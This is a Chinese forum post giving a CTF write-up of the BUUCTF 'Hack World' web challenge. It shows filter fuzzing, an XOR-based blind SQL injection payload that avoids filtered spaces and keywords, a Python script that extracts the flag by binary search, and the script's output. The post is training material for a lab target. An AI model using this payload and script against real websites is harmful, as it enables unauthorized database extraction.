登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场32 -- [CISCN2019 华北赛区 Day2 Web1]Hack World 读题
sql注入题,而且直接告诉你flag在表flag中的flag字段。让你提交查询id
- 查询1和2会有回显,输入其它数值都会提示错误。
- 抓包跑一下字典看一下过滤的内容(学到的新技能,原来bp的intruder还能这样用),字典的内容就是常见的sql注入的一些函数名、符号啥的
- 不过有一点是,BUU有限制,访问太快会提示429拒绝访问,所以,需要设置一下延时,我这个设置的有点慢。。。

- 跑完看返回的报文,返回长度有493、492、482、472。分别对应不同的回显
- 493


- 482
 - 472
 - 主要是482的过滤和472返回的fool,也没有其它回显,所以猜测布尔盲注。但是空格、 or、and 都被过滤了
- 接下来的操作又是新的知识点
研究一、sql异或运算了解参考这篇文章 大概在这里应用就是假^假 =真 ,真^真=假,假^真=真,真^假=真 当我们查询 1^0、0^1、和 1 的回显是一样的,而查询 1^1 或0^0却会有报错提示。 所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。 但如何构造payload,因为空格被过滤,所以用括号来代替分割,这里也算学的新方法,利用ASCII码来逐一匹配
[AppleScript] 纯文本查看 复制代码 0^(ascii(substr((select(flag)from(flag)),1,1))>1)
[Python] 纯文本查看 复制代码 import requests
import time
import re
url='http://04d17768-be6a-45cd-9587-3b8faf1a8506.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
[Plain Text] 纯文本查看 复制代码 f
fl
fla
flag
flag{
flag{7
flag{76
flag{76a
flag{76ae
flag{76aed
flag{76aed1
flag{76aed13
flag{76aed138
flag{76aed138-
flag{76aed138-3
flag{76aed138-31
flag{76aed138-312
flag{76aed138-3126
flag{76aed138-3126-
flag{76aed138-3126-4
flag{76aed138-3126-4a
flag{76aed138-3126-4af
flag{76aed138-3126-4af3
flag{76aed138-3126-4af3-
flag{76aed138-3126-4af3-a
flag{76aed138-3126-4af3-ad
flag{76aed138-3126-4af3-ad0
flag{76aed138-3126-4af3-ad0e
flag{76aed138-3126-4af3-ad0e-
flag{76aed138-3126-4af3-ad0e-c
flag{76aed138-3126-4af3-ad0e-c6
flag{76aed138-3126-4af3-ad0e-c63
flag{76aed138-3126-4af3-ad0e-c635
flag{76aed138-3126-4af3-ad0e-c6356
flag{76aed138-3126-4af3-ad0e-c6356e
flag{76aed138-3126-4af3-ad0e-c6356ec
flag{76aed138-3126-4af3-ad0e-c6356ec3
flag{76aed138-3126-4af3-ad0e-c6356ec39
flag{76aed138-3126-4af3-ad0e-c6356ec39b
flag{76aed138-3126-4af3-ad0e-c6356ec39bb
flag{76aed138-3126-4af3-ad0e-c6356ec39bb3
flag{76aed138-3126-4af3-ad0e-c6356ec39bb3}
[Finished in 31.1s]
|